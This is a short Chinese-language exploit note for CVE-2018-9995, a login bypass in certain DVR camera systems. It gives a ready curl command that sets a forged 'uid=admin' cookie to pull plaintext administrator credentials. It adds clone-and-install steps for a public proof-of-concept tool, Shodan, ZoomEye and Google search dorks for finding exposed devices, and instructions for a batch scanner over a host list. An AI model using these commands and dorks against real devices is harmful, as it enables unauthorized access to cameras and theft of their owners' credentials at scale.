DVR登录绕过漏洞(CVE-2018-9995)

###漏洞描述

此漏洞允许攻击者通过修改“Cookie: uid=admin” 之后访问特定 DVR 的控制面板，返回此设备的明文管理员凭证。

###漏洞利用

1.利用代码

curl "http://:/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"

2.poc利用

https://github.com/ezelf/CVE-2018-9995_dvr_credentials
git clone https://github.com/ezelf/CVE-2018-9995_dvr_credentials.git

cd CVE-2018-9995_dvr_credentials

pip install -r requirements.txt

 

 

 

 

 

###关键词搜索

1. zoomeye:

 keyword: “/login.rsp"

 

 

 

2.shodan:

keyword:html:"/login.rsp"

keyword:"server:GNU rsp/1.0"

 

 

 

 

3.google:

keyword:intitle:"DVR login"

 

 

 

 

 

###批量验证

DVR系列摄像头批量检测 使用方法:python CVE-2018-9995_check.py host.txt
其中host.txt内容可以为8.8.8.8:8080或者www.baidu.com，脚本运行后对使用了DVR系列摄像头的host会保存到result.txt文件里
